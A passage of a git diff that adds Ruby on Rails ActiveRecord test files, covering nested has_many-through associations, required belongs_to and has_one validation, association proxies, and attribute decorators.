+      assert_equal [groucho_details, other_details], members.first.organization_member_details.sort_by(&:id)
+    end
+  end
+
+  def test_has_many_through_has_one_with_has_many_through_source_reflection_preload_via_joins
+    assert_includes_and_joins_equal(
+      Member.where("member_details.id" => member_details(:groucho).id).order("member_details.id"),
+      [members(:groucho), members(:some_other_guy)], :organization_member_details
+    )
+
+    members = Member.joins(:organization_member_details).
+                     where("member_details.id" => 9)
+    assert members.empty?
+  end
+
+  # has_many through
+  # Source: has_many
+  # Through: has_one through
+  def test_has_many_through_has_one_through_with_has_many_source_reflection
+    groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
+
+    assert_equal [groucho_details, other_details],
+                 members(:groucho).organization_member_details_2.order("member_details.id")
+  end
+
+  def test_has_many_through_has_one_through_with_has_many_source_reflection_preload
+    members = assert_queries(4) { Member.includes(:organization_member_details_2).to_a.sort_by(&:id) }
+    groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
+
+    # postgresql test if randomly executed then executes "SHOW max_identifier_length". Hence
+    # the need to ignore certain predefined sqls that deal with system calls.
+    assert_no_queries(ignore_none: false) do
+      assert_equal [groucho_details, other_details], members.first.organization_member_details_2.sort_by(&:id)
+    end
+  end
+
+  def test_has_many_through_has_one_through_with_has_many_source_reflection_preload_via_joins
+    assert_includes_and_joins_equal(
+      Member.where("member_details.id" => member_details(:groucho).id).order("member_details.id"),
+      [members(:groucho), members(:some_other_guy)], :organization_member_details_2
+    )
+
+    members = Member.joins(:organization_member_details_2).
+                     where("member_details.id" => 9)
+    assert members.empty?
+  end
+
+  # has_many through
+  # Source: has_and_belongs_to_many
+  # Through: has_many
+  def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection
+    general, cooking = categories(:general), categories(:cooking)
+
+    assert_equal [general, cooking], authors(:bob).post_categories.order("categories.id")
+  end
+
+  def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection_preload
+    authors = assert_queries(4) { Author.includes(:post_categories).to_a.sort_by(&:id) }
+    general, cooking = categories(:general), categories(:cooking)
+
+    assert_no_queries do
+      assert_equal [general, cooking], authors[2].post_categories.sort_by(&:id)
+    end
+  end
+
+  def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection_preload_via_joins
+    # preload table schemas
+    Author.joins(:post_categories).first
+
+    assert_includes_and_joins_equal(
+      Author.where("categories.id" => categories(:cooking).id),
+      [authors(:bob)], :post_categories
+    )
+  end
+
+  # has_many through
+  # Source: has_many
+  # Through: has_and_belongs_to_many
+  def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection
+    greetings, more = comments(:greetings), comments(:more_greetings)
+
+    assert_equal [greetings, more], categories(:technology).post_comments.order("comments.id")
+  end
+
+  def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload
+    Category.includes(:post_comments).to_a # preheat cache
+    categories = assert_queries(4) { Category.includes(:post_comments).to_a.sort_by(&:id) }
+    greetings, more = comments(:greetings), comments(:more_greetings)
+
+    assert_no_queries do
+      assert_equal [greetings, more], categories[1].post_comments.sort_by(&:id)
+    end
+  end
+
+  def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload_via_joins
+    # preload table schemas
+    Category.joins(:post_comments).first
+
+    assert_includes_and_joins_equal(
+      Category.where("comments.id" => comments(:more_greetings).id).order("categories.id"),
+      [categories(:general), categories(:technology)], :post_comments
+    )
+  end
+
+  # has_many through
+  # Source: has_many through a habtm
+  # Through: has_many through
+  def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection
+    greetings, more = comments(:greetings), comments(:more_greetings)
+
+    assert_equal [greetings, more], authors(:bob).category_post_comments.order("comments.id")
+  end
+
+  def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection_preload
+    authors = assert_queries(6) { Author.includes(:category_post_comments).to_a.sort_by(&:id) }
+    greetings, more = comments(:greetings), comments(:more_greetings)
+
+    assert_no_queries do
+      assert_equal [greetings, more], authors[2].category_post_comments.sort_by(&:id)
+    end
+  end
+
+  def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection_preload_via_joins
+    # preload table schemas
+    Author.joins(:category_post_comments).first
+
+    assert_includes_and_joins_equal(
+      Author.where("comments.id" => comments(:does_it_hurt).id).order("authors.id"),
+      [authors(:david), authors(:mary)], :category_post_comments
+    )
+  end
+
+  # has_many through
+  # Source: belongs_to
+  # Through: has_many through
+  def test_has_many_through_has_many_through_with_belongs_to_source_reflection
+    assert_equal [tags(:general), tags(:general)], authors(:david).tagging_tags
+  end
+
+  def test_has_many_through_has_many_through_with_belongs_to_source_reflection_preload
+    authors = assert_queries(5) { Author.includes(:tagging_tags).to_a }
+    general = tags(:general)
+
+    assert_no_queries do
+      assert_equal [general, general], authors.first.tagging_tags
+    end
+  end
+
+  def test_has_many_through_has_many_through_with_belongs_to_source_reflection_preload_via_joins
+    assert_includes_and_joins_equal(
+      Author.where("tags.id" => tags(:general).id),
+      [authors(:david)], :tagging_tags
+    )
+  end
+
+  # has_many through
+  # Source: has_many through
+  # Through: belongs_to
+  def test_has_many_through_belongs_to_with_has_many_through_source_reflection
+    welcome_general, thinking_general = taggings(:welcome_general), taggings(:thinking_general)
+
+    assert_equal [welcome_general, thinking_general],
+                 categorizations(:david_welcome_general).post_taggings.order("taggings.id")
+  end
+
+  def test_has_many_through_belongs_to_with_has_many_through_source_reflection_preload
+    categorizations = assert_queries(4) { Categorization.includes(:post_taggings).to_a.sort_by(&:id) }
+    welcome_general, thinking_general = taggings(:welcome_general), taggings(:thinking_general)
+
+    assert_no_queries do
+      assert_equal [welcome_general, thinking_general], categorizations.first.post_taggings.sort_by(&:id)
+    end
+  end
+
+  def test_has_many_through_belongs_to_with_has_many_through_source_reflection_preload_via_joins
+    assert_includes_and_joins_equal(
+      Categorization.where("taggings.id" => taggings(:welcome_general).id).order("taggings.id"),
+      [categorizations(:david_welcome_general)], :post_taggings
+    )
+  end
+
+  # has_one through
+  # Source: has_one through
+  # Through: has_one
+  def test_has_one_through_has_one_with_has_one_through_source_reflection
+    assert_equal member_types(:founding), members(:groucho).nested_member_type
+  end
+
+  def test_has_one_through_has_one_with_has_one_through_source_reflection_preload
+    members = assert_queries(4) { Member.includes(:nested_member_type).to_a.sort_by(&:id) }
+    founding = member_types(:founding)
+
+    assert_no_queries do
+      assert_equal founding, members.first.nested_member_type
+    end
+  end
+
+  def test_has_one_through_has_one_with_has_one_through_source_reflection_preload_via_joins
+    assert_includes_and_joins_equal(
+      Member.where("member_types.id" => member_types(:founding).id),
+      [members(:groucho)], :nested_member_type
+    )
+  end
+
+  # has_one through
+  # Source: belongs_to
+  # Through: has_one through
+  def test_has_one_through_has_one_through_with_belongs_to_source_reflection
+    assert_equal categories(:general), members(:groucho).club_category
+  end
+
+  def test_joins_and_includes_from_through_models_not_included_in_association
+    prev_default_scope = Club.default_scopes
+
+    [:includes, :preload, :joins, :eager_load].each do |q|
+      Club.default_scopes = [proc { Club.send(q, :category) }]
+      assert_equal categories(:general), members(:groucho).reload.club_category
+    end
+  ensure
+    Club.default_scopes = prev_default_scope
+  end
+
+  def test_has_one_through_has_one_through_with_belongs_to_source_reflection_preload
+    members = assert_queries(4) { Member.includes(:club_category).to_a.sort_by(&:id) }
+    general = categories(:general)
+
+    assert_no_queries do
+      assert_equal general, members.first.club_category
+    end
+  end
+
+  def test_has_one_through_has_one_through_with_belongs_to_source_reflection_preload_via_joins
+    assert_includes_and_joins_equal(
+      Member.where("categories.id" => categories(:technology).id),
+      [members(:blarpy_winkup)], :club_category
+    )
+  end
+
+  def test_distinct_has_many_through_a_has_many_through_association_on_source_reflection
+    author = authors(:david)
+    assert_equal [tags(:general)], author.distinct_tags
+  end
+
+  def test_distinct_has_many_through_a_has_many_through_association_on_through_reflection
+    author = authors(:david)
+    assert_equal [subscribers(:first), subscribers(:second)],
+                 author.distinct_subscribers.order("subscribers.nick")
+  end
+
+  def test_nested_has_many_through_with_a_table_referenced_multiple_times
+    author = authors(:bob)
+    assert_equal [posts(:misc_by_bob), posts(:misc_by_mary), posts(:other_by_bob), posts(:other_by_mary)],
+                 author.similar_posts.sort_by(&:id)
+
+    # Mary and Bob both have posts in misc, but they are the only ones.
+    authors = Author.joins(:similar_posts).where("posts.id" => posts(:misc_by_bob).id)
+    assert_equal [authors(:mary), authors(:bob)], authors.distinct.sort_by(&:id)
+
+    # Check the polymorphism of taggings is being observed correctly (in both joins)
+    authors = Author.joins(:similar_posts).where("taggings.taggable_type" => "FakeModel")
+    assert authors.empty?
+    authors = Author.joins(:similar_posts).where("taggings_authors_join.taggable_type" => "FakeModel")
+    assert authors.empty?
+  end
+
+  def test_has_many_through_with_foreign_key_option_on_through_reflection
+    assert_equal [posts(:welcome), posts(:authorless)], people(:david).agents_posts.order("posts.id")
+    assert_equal [authors(:david)], references(:david_unicyclist).agents_posts_authors
+
+    references = Reference.joins(:agents_posts_authors).where("authors.id" => authors(:david).id)
+    assert_equal [references(:david_unicyclist)], references
+  end
+
+  def test_has_many_through_with_foreign_key_option_on_source_reflection
+    assert_equal [people(:michael), people(:susan)], jobs(:unicyclist).agents.order("people.id")
+
+    jobs = Job.joins(:agents)
+    assert_equal [jobs(:unicyclist), jobs(:unicyclist)], jobs
+  end
+
+  def test_has_many_through_with_sti_on_through_reflection
+    ratings = posts(:sti_comments).special_comments_ratings.sort_by(&:id)
+    assert_equal [ratings(:special_comment_rating), ratings(:sub_special_comment_rating)], ratings
+
+    # Ensure STI is respected in the join
+    scope = Post.joins(:special_comments_ratings).where(id: posts(:sti_comments).id)
+    assert scope.where("comments.type" => "Comment").empty?
+    assert !scope.where("comments.type" => "SpecialComment").empty?
+    assert !scope.where("comments.type" => "SubSpecialComment").empty?
+  end
+
+  def test_has_many_through_with_sti_on_nested_through_reflection
+    taggings = posts(:sti_comments).special_comments_ratings_taggings
+    assert_equal [taggings(:special_comment_rating)], taggings
+
+    scope = Post.joins(:special_comments_ratings_taggings).where(id: posts(:sti_comments).id)
+    assert scope.where("comments.type" => "Comment").empty?
+    assert !scope.where("comments.type" => "SpecialComment").empty?
+  end
+
+  def test_nested_has_many_through_writers_should_raise_error
+    david = authors(:david)
+    subscriber = subscribers(:first)
+
+    assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+      david.subscribers = [subscriber]
+    end
+
+    assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+      david.subscriber_ids = [subscriber.id]
+    end
+
+    assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+      david.subscribers << subscriber
+    end
+
+    assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+      david.subscribers.delete(subscriber)
+    end
+
+    assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+      david.subscribers.clear
+    end
+
+    assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+      david.subscribers.build
+    end
+
+    assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+      david.subscribers.create
+    end
+  end
+
+  def test_nested_has_one_through_writers_should_raise_error
+    groucho = members(:groucho)
+    founding = member_types(:founding)
+
+    assert_raises(ActiveRecord::HasOneThroughNestedAssociationsAreReadonly) do
+      groucho.nested_member_type = founding
+    end
+  end
+
+  def test_nested_has_many_through_with_conditions_on_through_associations
+    assert_equal [tags(:blue)], authors(:bob).misc_post_first_blue_tags
+  end
+
+  def test_nested_has_many_through_with_conditions_on_through_associations_preload
+    assert Author.where("tags.id" => 100).joins(:misc_post_first_blue_tags).empty?
+
+    authors = assert_queries(3) { Author.includes(:misc_post_first_blue_tags).to_a.sort_by(&:id) }
+    blue = tags(:blue)
+
+    assert_no_queries do
+      assert_equal [blue], authors[2].misc_post_first_blue_tags
+    end
+  end
+
+  def test_nested_has_many_through_with_conditions_on_through_associations_preload_via_joins
+    # Pointless condition to force single-query loading
+    assert_includes_and_joins_equal(
+      Author.where("tags.id = tags.id").references(:tags),
+      [authors(:bob)], :misc_post_first_blue_tags
+    )
+  end
+
+  def test_nested_has_many_through_with_conditions_on_source_associations
+    assert_equal [tags(:blue)], authors(:bob).misc_post_first_blue_tags_2
+  end
+
+  def test_nested_has_many_through_with_conditions_on_source_associations_preload
+    authors = assert_queries(4) { Author.includes(:misc_post_first_blue_tags_2).to_a.sort_by(&:id) }
+    blue = tags(:blue)
+
+    assert_no_queries do
+      assert_equal [blue], authors[2].misc_post_first_blue_tags_2
+    end
+  end
+
+  def test_nested_has_many_through_with_conditions_on_source_associations_preload_via_joins
+    # Pointless condition to force single-query loading
+    assert_includes_and_joins_equal(
+      Author.where("tags.id = tags.id").references(:tags),
+      [authors(:bob)], :misc_post_first_blue_tags_2
+    )
+  end
+
+  def test_nested_has_many_through_with_foreign_key_option_on_the_source_reflection_through_reflection
+    assert_equal [categories(:general)], organizations(:nsa).author_essay_categories
+
+    organizations = Organization.joins(:author_essay_categories).
+                                 where("categories.id" => categories(:general).id)
+    assert_equal [organizations(:nsa)], organizations
+
+    assert_equal categories(:general), organizations(:nsa).author_owned_essay_category
+
+    organizations = Organization.joins(:author_owned_essay_category).
+                                 where("categories.id" => categories(:general).id)
+    assert_equal [organizations(:nsa)], organizations
+  end
+
+  def test_nested_has_many_through_should_not_be_autosaved
+    c = Categorization.new
+    c.author = authors(:david)
+    c.post_taggings.to_a
+    assert !c.post_taggings.empty?
+    c.save
+    assert !c.post_taggings.empty?
+  end
+
+  private
+
+    def assert_includes_and_joins_equal(query, expected, association)
+      actual = assert_queries(1) { query.joins(association).to_a.uniq }
+      assert_equal expected, actual
+
+      actual = assert_queries(1) { query.includes(association).to_a.uniq }
+      assert_equal expected, actual
+    end
+end
diff --git a/activerecord/test/cases/associations/required_test.rb b/activerecord/test/cases/associations/required_test.rb
new file mode 100644
index 0000000000..65a3bb5efe
--- /dev/null
+++ b/activerecord/test/cases/associations/required_test.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class RequiredAssociationsTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  class Parent < ActiveRecord::Base
+  end
+
+  class Child < ActiveRecord::Base
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :parents, force: true
+    @connection.create_table :children, force: true do |t|
+      t.belongs_to :parent
+    end
+  end
+
+  teardown do
+    @connection.drop_table "parents", if_exists: true
+    @connection.drop_table "children", if_exists: true
+  end
+
+  test "belongs_to associations can be optional by default" do
+    begin
+      original_value = ActiveRecord::Base.belongs_to_required_by_default
+      ActiveRecord::Base.belongs_to_required_by_default = false
+
+      model = subclass_of(Child) do
+        belongs_to :parent, inverse_of: false,
+          class_name: "RequiredAssociationsTest::Parent"
+      end
+
+      assert model.new.save
+      assert model.new(parent: Parent.new).save
+    ensure
+      ActiveRecord::Base.belongs_to_required_by_default = original_value
+    end
+  end
+
+  test "required belongs_to associations have presence validated" do
+    model = subclass_of(Child) do
+      belongs_to :parent, required: true, inverse_of: false,
+        class_name: "RequiredAssociationsTest::Parent"
+    end
+
+    record = model.new
+    assert_not record.save
+    assert_equal ["Parent must exist"], record.errors.full_messages
+
+    record.parent = Parent.new
+    assert record.save
+  end
+
+  test "belongs_to associations can be required by default" do
+    begin
+      original_value = ActiveRecord::Base.belongs_to_required_by_default
+      ActiveRecord::Base.belongs_to_required_by_default = true
+
+      model = subclass_of(Child) do
+        belongs_to :parent, inverse_of: false,
+          class_name: "RequiredAssociationsTest::Parent"
+      end
+
+      record = model.new
+      assert_not record.save
+      assert_equal ["Parent must exist"], record.errors.full_messages
+
+      record.parent = Parent.new
+      assert record.save
+    ensure
+      ActiveRecord::Base.belongs_to_required_by_default = original_value
+    end
+  end
+
+  test "has_one associations are not required by default" do
+    model = subclass_of(Parent) do
+      has_one :child, inverse_of: false,
+        class_name: "RequiredAssociationsTest::Child"
+    end
+
+    assert model.new.save
+    assert model.new(child: Child.new).save
+  end
+
+  test "required has_one associations have presence validated" do
+    model = subclass_of(Parent) do
+      has_one :child, required: true, inverse_of: false,
+        class_name: "RequiredAssociationsTest::Child"
+    end
+
+    record = model.new
+    assert_not record.save
+    assert_equal ["Child must exist"], record.errors.full_messages
+
+    record.child = Child.new
+    assert record.save
+  end
+
+  test "required has_one associations have a correct error message" do
+    model = subclass_of(Parent) do
+      has_one :child, required: true, inverse_of: false,
+      class_name: "RequiredAssociationsTest::Child"
+    end
+
+    record = model.create
+    assert_equal ["Child must exist"], record.errors.full_messages
+  end
+
+  test "required belongs_to associations have a correct error message" do
+    model = subclass_of(Child) do
+      belongs_to :parent, required: true, inverse_of: false,
+      class_name: "RequiredAssociationsTest::Parent"
+    end
+
+    record = model.create
+    assert_equal ["Parent must exist"], record.errors.full_messages
+  end
+
+  private
+
+    def subclass_of(klass, &block)
+      subclass = Class.new(klass, &block)
+      def subclass.name
+        superclass.name
+      end
+      subclass
+    end
+end
diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb
new file mode 100644
index 0000000000..9d1999bcb1
--- /dev/null
+++ b/activerecord/test/cases/associations_test.rb
@@ -0,0 +1,370 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/computer"
+require "models/developer"
+require "models/project"
+require "models/company"
+require "models/categorization"
+require "models/category"
+require "models/post"
+require "models/author"
+require "models/comment"
+require "models/tag"
+require "models/tagging"
+require "models/person"
+require "models/reader"
+require "models/ship_part"
+require "models/ship"
+require "models/liquid"
+require "models/molecule"
+require "models/electron"
+require "models/man"
+require "models/interest"
+
+class AssociationsTest < ActiveRecord::TestCase
+  fixtures :accounts, :companies, :developers, :projects, :developers_projects,
+           :computers, :people, :readers, :authors, :author_addresses, :author_favorites
+
+  def test_eager_loading_should_not_change_count_of_children
+    liquid = Liquid.create(name: "salty")
+    molecule = liquid.molecules.create(name: "molecule_1")
+    molecule.electrons.create(name: "electron_1")
+    molecule.electrons.create(name: "electron_2")
+
+    liquids = Liquid.includes(molecules: :electrons).references(:molecules).where("molecules.id is not null")
+    assert_equal 1, liquids[0].molecules.length
+  end
+
+  def test_subselect
+    author = authors :david
+    favs = author.author_favorites
+    fav2 = author.author_favorites.where(author: Author.where(id: author.id)).to_a
+    assert_equal favs, fav2
+  end
+
+  def test_loading_the_association_target_should_keep_child_records_marked_for_destruction
+    ship = Ship.create!(name: "The good ship Dollypop")
+    part = ship.parts.create!(name: "Mast")
+    part.mark_for_destruction
+    assert ship.parts[0].marked_for_destruction?
+  end
+
+  def test_loading_the_association_target_should_load_most_recent_attributes_for_child_records_marked_for_destruction
+    ship = Ship.create!(name: "The good ship Dollypop")
+    part = ship.parts.create!(name: "Mast")
+    part.mark_for_destruction
+    ShipPart.find(part.id).update_columns(name: "Deck")
+    assert_equal "Deck", ship.parts[0].name
+  end
+
+  def test_include_with_order_works
+    assert_nothing_raised { Account.all.merge!(order: "id", includes: :firm).first }
+    assert_nothing_raised { Account.all.merge!(order: :id, includes: :firm).first }
+  end
+
+  def test_bad_collection_keys
+    assert_raise(ArgumentError, "ActiveRecord should have barked on bad collection keys") do
+      Class.new(ActiveRecord::Base).has_many(:wheels, name: "wheels")
+    end
+  end
+
+  def test_should_construct_new_finder_sql_after_create
+    person = Person.new first_name: "clark"
+    assert_equal [], person.readers.to_a
+    person.save!
+    reader = Reader.create! person: person, post: Post.new(title: "foo", body: "bar")
+    assert person.readers.find(reader.id)
+  end
+
+  def test_force_reload
+    firm = Firm.new("name" => "A New Firm, Inc")
+    firm.save
+    firm.clients.each {} # forcing to load all clients
+    assert firm.clients.empty?, "New firm shouldn't have client objects"
+    assert_equal 0, firm.clients.size, "New firm should have 0 clients"
+
+    client = Client.new("name" => "TheClient.com", "firm_id" => firm.id)
+    client.save
+
+    assert firm.clients.empty?, "New firm should have cached no client objects"
+    assert_equal 0, firm.clients.size, "New firm should have cached 0 clients count"
+
+    firm.clients.reload
+
+    assert !firm.clients.empty?, "New firm should have reloaded client objects"
+    assert_equal 1, firm.clients.size, "New firm should have reloaded clients count"
+  end
+
+  def test_using_limitable_reflections_helper
+    using_limitable_reflections = lambda { |reflections| Tagging.all.send :using_limitable_reflections?, reflections }
+    belongs_to_reflections = [Tagging.reflect_on_association(:tag), Tagging.reflect_on_association(:super_tag)]
+    has_many_reflections = [Tag.reflect_on_association(:taggings), Developer.reflect_on_association(:projects)]
+    mixed_reflections = (belongs_to_reflections + has_many_reflections).uniq
+    assert using_limitable_reflections.call(belongs_to_reflections), "Belong to associations are limitable"
+    assert !using_limitable_reflections.call(has_many_reflections), "All has many style associations are not limitable"
+    assert !using_limitable_reflections.call(mixed_reflections), "No collection associations (has many style) should pass"
+  end
+
+  def test_association_with_references
+    firm = companies(:first_firm)
+    assert_includes firm.association_with_references.references_values, "foo"
+  end
+end
+
+class AssociationProxyTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :posts, :categorizations, :categories, :developers, :projects, :developers_projects
+
+  def test_push_does_not_load_target
+    david = authors(:david)
+
+    david.posts << (post = Post.new(title: "New on Edge", body: "More cool stuff!"))
+    assert !david.posts.loaded?
+    assert_includes david.posts, post
+  end
+
+  def test_push_has_many_through_does_not_load_target
+    david = authors(:david)
+
+    david.categories << categories(:technology)
+    assert !david.categories.loaded?
+    assert_includes david.categories, categories(:technology)
+  end
+
+  def test_push_followed_by_save_does_not_load_target
+    david = authors(:david)
+
+    david.posts << (post = Post.new(title: "New on Edge", body: "More cool stuff!"))
+    assert !david.posts.loaded?
+    david.save
+    assert !david.posts.loaded?
+    assert_includes david.posts, post
+  end
+
+  def test_push_does_not_lose_additions_to_new_record
+    josh = Author.new(name: "Josh")
+    josh.posts << Post.new(title: "New on Edge", body: "More cool stuff!")
+    assert josh.posts.loaded?
+    assert_equal 1, josh.posts.size
+  end
+
+  def test_append_behaves_like_push
+    josh = Author.new(name: "Josh")
+    josh.posts.append Post.new(title: "New on Edge", body: "More cool stuff!")
+    assert josh.posts.loaded?
+    assert_equal 1, josh.posts.size
+  end
+
+  def test_prepend_is_not_defined
+    josh = Author.new(name: "Josh")
+    assert_raises(NoMethodError) { josh.posts.prepend Post.new }
+  end
+
+  def test_save_on_parent_does_not_load_target
+    david = developers(:david)
+
+    assert !david.projects.loaded?
+    david.update_columns(created_at: Time.now)
+    assert !david.projects.loaded?
+  end
+
+  def test_load_does_load_target
+    david = developers(:david)
+
+    assert !david.projects.loaded?
+    david.projects.load
+    assert david.projects.loaded?
+  end
+
+  def test_inspect_does_not_reload_a_not_yet_loaded_target
+    andreas = Developer.new name: "Andreas", log: "new developer added"
+    assert !andreas.audit_logs.loaded?
+    assert_match(/message: "new developer added"/, andreas.audit_logs.inspect)
+  end
+
+  def test_save_on_parent_saves_children
+    developer = Developer.create name: "Bryan", salary: 50_000
+    assert_equal 1, developer.reload.audit_logs.size
+  end
+
+  def test_create_via_association_with_block
+    post = authors(:david).posts.create(title: "New on Edge") { |p| p.body = "More cool stuff!" }
+    assert_equal post.title, "New on Edge"
+    assert_equal post.body, "More cool stuff!"
+  end
+
+  def test_create_with_bang_via_association_with_block
+    post = authors(:david).posts.create!(title: "New on Edge") { |p| p.body = "More cool stuff!" }
+    assert_equal post.title, "New on Edge"
+    assert_equal post.body, "More cool stuff!"
+  end
+
+  def test_reload_returns_association
+    david = developers(:david)
+    assert_nothing_raised do
+      assert_equal david.projects, david.projects.reload.reload
+    end
+  end
+
+  def test_proxy_association_accessor
+    david = developers(:david)
+    assert_equal david.association(:projects), david.projects.proxy_association
+  end
+
+  def test_scoped_allows_conditions
+    assert developers(:david).projects.merge(where: "foo").to_sql.include?("foo")
+  end
+
+  test "getting a scope from an association" do
+    david = developers(:david)
+
+    assert david.projects.scope.is_a?(ActiveRecord::Relation)
+    assert_equal david.projects, david.projects.scope
+  end
+
+  test "proxy object is cached" do
+    david = developers(:david)
+    assert_same david.projects, david.projects
+  end
+
+  test "proxy object can be stubbed" do
+    david = developers(:david)
+    david.projects.define_singleton_method(:extra_method) { 42 }
+
+    assert_equal 42, david.projects.extra_method
+  end
+
+  test "inverses get set of subsets of the association" do
+    man = Man.create
+    man.interests.create
+
+    man = Man.find(man.id)
+
+    assert_queries(1) do
+      assert_equal man, man.interests.where("1=1").first.man
+    end
+  end
+
+  test "first! works on loaded associations" do
+    david = authors(:david)
+    assert_equal david.posts.first, david.posts.reload.first!
+    assert david.posts.loaded?
+    assert_no_queries { david.posts.first! }
+  end
+
+  def test_pluck_uses_loaded_target
+    david = authors(:david)
+    assert_equal david.posts.pluck(:title), david.posts.load.pluck(:title)
+    assert david.posts.loaded?
+    assert_no_queries { david.posts.pluck(:title) }
+  end
+
+  def test_reset_unloads_target
+    david = authors(:david)
+    david.posts.reload
+
+    assert david.posts.loaded?
+    david.posts.reset
+    assert !david.posts.loaded?
+  end
+end
+
+class OverridingAssociationsTest < ActiveRecord::TestCase
+  class DifferentPerson < ActiveRecord::Base; end
+
+  class PeopleList < ActiveRecord::Base
+    has_and_belongs_to_many :has_and_belongs_to_many, before_add: :enlist
+    has_many :has_many, before_add: :enlist
+    belongs_to :belongs_to
+    has_one :has_one
+  end
+
+  class DifferentPeopleList < PeopleList
+    # Different association with the same name, callbacks should be omitted here.
+    has_and_belongs_to_many :has_and_belongs_to_many, class_name: "DifferentPerson"
+    has_many :has_many, class_name: "DifferentPerson"
+    belongs_to :belongs_to, class_name: "DifferentPerson"
+    has_one :has_one, class_name: "DifferentPerson"
+  end
+
+  def test_habtm_association_redefinition_callbacks_should_differ_and_not_inherited
+    # redeclared association on AR descendant should not inherit callbacks from superclass
+    callbacks = PeopleList.before_add_for_has_and_belongs_to_many
+    assert_equal(1, callbacks.length)
+    callbacks = DifferentPeopleList.before_add_for_has_and_belongs_to_many
+    assert_equal([], callbacks)
+  end
+
+  def test_has_many_association_redefinition_callbacks_should_differ_and_not_inherited
+    # redeclared association on AR descendant should not inherit callbacks from superclass
+    callbacks = PeopleList.before_add_for_has_many
+    assert_equal(1, callbacks.length)
+    callbacks = DifferentPeopleList.before_add_for_has_many
+    assert_equal([], callbacks)
+  end
+
+  def test_habtm_association_redefinition_reflections_should_differ_and_not_inherited
+    assert_not_equal(
+      PeopleList.reflect_on_association(:has_and_belongs_to_many),
+      DifferentPeopleList.reflect_on_association(:has_and_belongs_to_many)
+    )
+  end
+
+  def test_has_many_association_redefinition_reflections_should_differ_and_not_inherited
+    assert_not_equal(
+      PeopleList.reflect_on_association(:has_many),
+      DifferentPeopleList.reflect_on_association(:has_many)
+    )
+  end
+
+  def test_belongs_to_association_redefinition_reflections_should_differ_and_not_inherited
+    assert_not_equal(
+      PeopleList.reflect_on_association(:belongs_to),
+      DifferentPeopleList.reflect_on_association(:belongs_to)
+    )
+  end
+
+  def test_has_one_association_redefinition_reflections_should_differ_and_not_inherited
+    assert_not_equal(
+      PeopleList.reflect_on_association(:has_one),
+      DifferentPeopleList.reflect_on_association(:has_one)
+    )
+  end
+
+  def test_requires_symbol_argument
+    assert_raises ArgumentError do
+      Class.new(Post) do
+        belongs_to "author"
+      end
+    end
+  end
+end
+
+class GeneratedMethodsTest < ActiveRecord::TestCase
+  fixtures :developers, :computers, :posts, :comments
+  def test_association_methods_override_attribute_methods_of_same_name
+    assert_equal(developers(:david), computers(:workstation).developer)
+    # this next line will fail if the attribute methods module is generated lazily
+    # after the association methods module is generated
+    assert_equal(developers(:david), computers(:workstation).developer)
+    assert_equal(developers(:david).id, computers(:workstation)[:developer])
+  end
+
+  def test_model_method_overrides_association_method
+    assert_equal(comments(:greetings).body, posts(:welcome).first_comment)
+  end
+
+  module MyModule
+    def comments; :none end
+  end
+
+  class MyArticle < ActiveRecord::Base
+    self.table_name = "articles"
+    include MyModule
+    has_many :comments, inverse_of: false
+  end
+
+  def test_included_module_overwrites_association_methods
+    assert_equal :none, MyArticle.new.comments
+  end
+end
diff --git a/activerecord/test/cases/attribute_decorators_test.rb b/activerecord/test/cases/attribute_decorators_test.rb
new file mode 100644
index 0000000000..42eca233ce
--- /dev/null
+++ b/activerecord/test/cases/attribute_decorators_test.rb
@@ -0,0 +1,127 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class AttributeDecoratorsTest < ActiveRecord::TestCase
+    class Model < ActiveRecord::Base
+      self.table_name = "attribute_decorators_model"
+    end
+
+    class StringDecorator < SimpleDelegator
+      def initialize(delegate, decoration = "decorated!")
+        @decoration = decoration
+        super(delegate)
+      end
+
+      def cast(value)
+        "#{super} #{@decoration}"
+      end
+
+      alias deserialize cast
+    end
+
+    setup do
+      @connection = ActiveRecord::Base.connection
+      @connection.create_table :attribute_decorators_model, force: true do |t|
+        t.string :a_string
+      end
+    end
+
+    teardown do
+      return unless @connection
+      @connection.drop_table "attribute_decorators_model", if_exists: true
+      Model.attribute_type_decorations.clear
+      Model.reset_column_information
+    end
+
+    test "attributes can be decorated" do
+      model = Model.new(a_string: "Hello")
+      assert_equal "Hello", model.a_string
+
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+
+      model = Model.new(a_string: "Hello")
+      assert_equal "Hello decorated!", model.a_string
+    end
+
+    test "decoration does not eagerly load existing columns" do
+      Model.reset_column_information
+      assert_no_queries do
+        Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+      end
+    end
+
+    test "undecorated columns are not touched" do
+      Model.attribute :another_string, :string, default: "something or other"
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+
+      assert_equal "something or other", Model.new.another_string
+    end
+
+    test "decorators can be chained" do
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+      Model.decorate_attribute_type(:a_string, :other) { |t| StringDecorator.new(t) }
+
+      model = Model.new(a_string: "Hello!")
+
